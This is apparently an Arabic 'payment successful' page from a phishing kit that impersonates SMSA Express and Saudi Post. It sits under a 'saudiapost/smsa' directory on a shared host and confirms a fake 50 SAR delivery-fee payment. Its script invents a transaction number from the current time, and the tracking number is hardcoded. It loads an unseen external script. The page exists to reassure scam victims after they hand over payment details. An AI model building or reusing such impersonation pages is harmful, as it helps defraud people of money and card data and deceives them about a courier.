/home2/mshostin/public_html/saudiapost/smsa/success_ar.html
<!DOCTYPE html>
<html lang="ar" dir="rtl" xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
    <meta http-equiv="x-ua-compatible" content="ie=edge" />
    <title>الدفع ناجح | SMSA Express</title>
    <link href="https://fonts.googleapis.com/css2?family=Segoe+UI:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="css/header.css">
    <link rel="stylesheet" href="css/style.css">
    <style>
        html, body {
            direction: rtl;
            text-align: right;
        }

        .st0 {
            fill: #00C8E1;
            stroke: #00C8E1;
            stroke-miterlimit: 10;
        }

        .st1 {
            fill: #153C3F;
            stroke: #153C3F;
            stroke-miterlimit: 10;
        }

        /* SUCCESS PAGE STYLES */
        .success-container {
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: calc(100vh - 300px);
            padding: 2rem;
        }

        .success-content {
            text-align: center;
            max-width: 600px;
            padding: 2.5rem;
            background: #fff;
            border-radius: 3px;
            box-shadow: 0 0 25px rgba(0, 0, 0, 0.09);
        }

        .success-icon {
            width: 120px;
            height: 120px;
            margin: 0 auto 2rem;
            position: relative;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .success-icon::before {
            content: '';
            position: absolute;
            width: 100%;
            height: 100%;
            background: #e8f5e9;
            border-radius: 50%;
            z-index: 1;
        }

        .success-icon::after {
            content: '✓';
            position: relative;
            z-index: 2;
            font-size: 60px;
            color: #4caf50;
            font-weight: 700;
            line-height: 1;
        }

        .success-title {
            font-size: 32px;
            font-weight: 700;
            color: #373737;
            margin-bottom: 1rem;
        }

        .success-description {
            font-size: 16px;
            color: #666;
            margin-bottom: 2rem;
            line-height: 1.6;
        }

        .success-details {
            background: #f9f9f9;
            padding: 2rem;
            border-radius: 3px;
            border-left: 4px solid #4caf50;
            margin-bottom: 2rem;
            text-align: right;
        }

        .detail-row {
            display: flex;
            justify-content: space-between;
            padding: 0.75rem 0;
            border-bottom: 1px solid #e0e0e0;
        }

        .detail-row:last-child {
            border-bottom: none;
        }

        .detail-label {
            font-weight: 600;
            color: #666;
            font-size: 14px;
        }

        .detail-value {
            font-weight: 700;
            color: #153c3f;
            font-size: 14px;
        }

        .success-actions {
            display: flex;
            gap: 1rem;
            justify-content: center;
            flex-wrap: wrap;
        }

        .btn-primary {
            padding: 1rem 2rem;
            background: #00c8e1;
            color: #153c3f;
            border: none;
            border-radius: 3px;
            font-weight: 700;
            font-size: 16px;
            cursor: pointer;
            transition: all 0.3s ease;
            font-family: inherit;
            text-decoration: none;
            display: inline-block;
        }

        .btn-primary:hover {
            background: #00a0b8;
            box-shadow: 0 0 0 2px #153c3f;
        }

        .btn-secondary {
            padding: 1rem 2rem;
            background: #fff;
            color: #00c8e1;
            border: 2px solid #00c8e1;
            border-radius: 3px;
            font-weight: 700;
            font-size: 16px;
            cursor: pointer;
            transition: all 0.3s ease;
            font-family: inherit;
            text-decoration: none;
            display: inline-block;
        }

        .btn-secondary:hover {
            background: #f0f9fa;
        }

        .success-message {
            padding: 1rem;
            background: #e8f5e9;
            border-left: 4px solid #4caf50;
            color: #2e7d32;
            border-radius: 3px;
            margin-bottom: 2rem;
            font-weight: 600;
        }

        .reference-number {
            font-family: 'Courier New', monospace;
            font-weight: 700;
            color: #00c8e1;
            font-size: 18px;
            letter-spacing: 1px;
        }
    </style>
</head>
<body>
    <div class="page-wrap">
        <div class="header_wrapper">
            <!-- TOP BAR -->
            <div class="top_bar">
                <div class="container flex_me">
                    <div class="col">
                        <ul class="navTop">
                            <li id="individual"><a href="/ar/">الأفراد</a></li>
                            <li id="enterprise"><a href="/ar/enterprise">المؤسسات</a></li>
                            <li id="government"><a href="/ar/government">الحكومة</a></li>
                        </ul>
                    </div>

                    <div class="col">
                        <div class="help_dropdown">
                            <a href="#" class="onMobile_view">المساعدة</a>
                            <div>
                                <span>المساعدة والدعم</span>
                                <ul>
                                    <li><a href="/ar/faq/">الأسئلة الشائعة</a></li>
                                    <li><a href="/ar/customer-service/">خدمة العملاء</a></li>
                                </ul>
                            </div>
                        </div>
                        <a href="#branches" title="الفروع" class="desktop_view" id="scrollToBranch"><img src="/Design/images/branch_icon.svg" alt=""></a>
                        <button type="button" title="بحث" class="search_btn desktop_view btn-srch"><img src="/Design/images/search_icon.svg" alt=""></button>
                        <a class="nav-link switchLang" href="success.html">English</a>
                        <div class="search_box">
                            <form id="search" name="search" action="/ar/search" method="get">
                                <button type="button" class="close bg-transparent border-0"></button>
                                <div class="search_field">
                                    <span>ابحث في الموقع...</span>
                                    <input name="q" aria-label="بحث" type="text" id="search_cssw" placeholder="ابحث..." value="" autocomplete="off">
                                    <button type="submit"><img src="/Design/images/arrow_icon_white.svg" alt=""></button>
                                </div>
                            </form>
                        </div>
                    </div>
                </div>
            </div>

            <!-- MAIN HEADER -->
            <header>
                <div class="container flex_me">
                    <div class="col flex_me append_menu">
                        <a href="/ar/" class="logo"><img src="images/Logo.svg" alt="SMSA Express"></a>

                        <ul id="menu" class="menuIndividual">
                            <li class="menuMobile">
                                <span>الأفراد</span>
                            </li>
                            <li>
                                <a href="#sending">الإرسال</a>
                            </li>
                            <li>
                                <a href="#receiving">الاستقبال</a>
                            </li>
                            <li>
                                <a href="#alami">العلامي</a>
                            </li>
                            <li>
                                <a href="#national-address">العنوان الوطني</a>
                            </li>
                            <li>
                                <a href="#retail-services">خدمات البيع بالتجزئة</a>
                            </li>
                            <li>
                                <a href="#financial-services">الخدمات المالية</a>
                            </li>
                            <li>
                                <a href="#stamps">الطوابع</a>
                            </li>
                        </ul>
                    </div>

                    <div class="col justify_end">
                        <a href="#login">تسجيل الدخول</a>
                        <a href="#signup" class="sign_up_link">التسجيل</a>
                    </div>
                </div>
            </header>

            <!-- BREADCRUMB -->
            <div class="breadcrumb">
                <div class="container flex_me">
                    <a href="index_ar.html" class="breadcrumb-home">
                        <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 25 27.421">
                            <path d="M7.071,24V16.8h7.857V24H22V8.8L11,0,0,8.8V24Z" transform="translate(1.5 1.921)" fill="none" stroke="#146e82" stroke-miterlimit="10" stroke-width="3"/>
                        </svg>
                    </a>
                    <span class="breadcrumb-separator">›</span>
                    <span>الدفع ناجح</span>
                </div>
            </div>
        </div>

        <!-- MAIN CONTENT -->
        <div class="container">
            <div class="success-container">
                <div class="success-content">
                    <div class="success-icon"></div>
                    
                    <h1 class="success-title">تم الدفع بنجاح!</h1>
                    
                    <div class="success-message">
                        تم معالجة دفعتك بنجاح. شكراً لك على تعاملك معنا!
                    </div>

                    <p class="success-description">
                        تم دفع رسم التسليم الخاص بك وشحنتك جاهزة الآن للمعالجة. ستتلقى رسالة تأكيد عبر البريد الإلكتروني قريباً.
                    </p>

                    <div class="success-details">
                        <div class="detail-row">
                            <span class="detail-label">رقم المعاملة:</span>
                            <span class="detail-value reference-number" id="ref-number">TXN-2024-001234</span>
                        </div>
                        <div class="detail-row">
                            <span class="detail-label">المبلغ المدفوع:</span>
                            <span class="detail-value" id="amount-paid">ر.س 50.00</span>
                        </div>
                        <div class="detail-row">
                            <span class="detail-label">تاريخ الدفع:</span>
                            <span class="detail-value" id="payment-date">7 فبراير، 2026</span>
                        </div>
                        <div class="detail-row">
                            <span class="detail-label">رقم التتبع:</span>
                            <span class="detail-value" id="tracking-num">XHSNF74652HBL</span>
                        </div>
                    </div>

                    <div class="success-actions">
                        <a href="index_ar.html" class="btn-primary">العودة إلى الرئيسية</a>
                        <a href="#" class="btn-secondary" onclick="window.print(); return false;">طباعة الإيصال</a>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- SCRIPTS -->
    <script src="js/success_flow.js"></script>
    <script>
        // Generate transaction reference
        function generateReference() {
            const timestamp = Date.now().toString().slice(-6);
            return `TXN-${new Date().getFullYear()}-${timestamp}`;
        }

        // Set current date
        function setCurrentDate() {
            const options = { year: 'numeric', month: 'long', day: '2-digit' };
            const today = new Date().toLocaleDateString('ar-SA', options);
            document.getElementById('payment-date').textContent = today;
        }

        // Initialize
        document.getElementById('ref-number').textContent = generateReference();
        setCurrentDate();

        // Add animation on load
        window.addEventListener('load', () => {
            const successContent = document.querySelector('.success-content');
            successContent.style.animation = 'slideIn 0.5s ease-out';
        });

        // Add CSS animation
        const style = document.createElement('style');
        style.textContent = `
            @keyframes slideIn {
                from {
                    opacity: 0;
                    transform: translateY(20px);
                }
                to {
                    opacity: 1;
                    transform: translateY(0);
                }
            }
        `;
        document.head.appendChild(style);
    </script>
</body>
</html>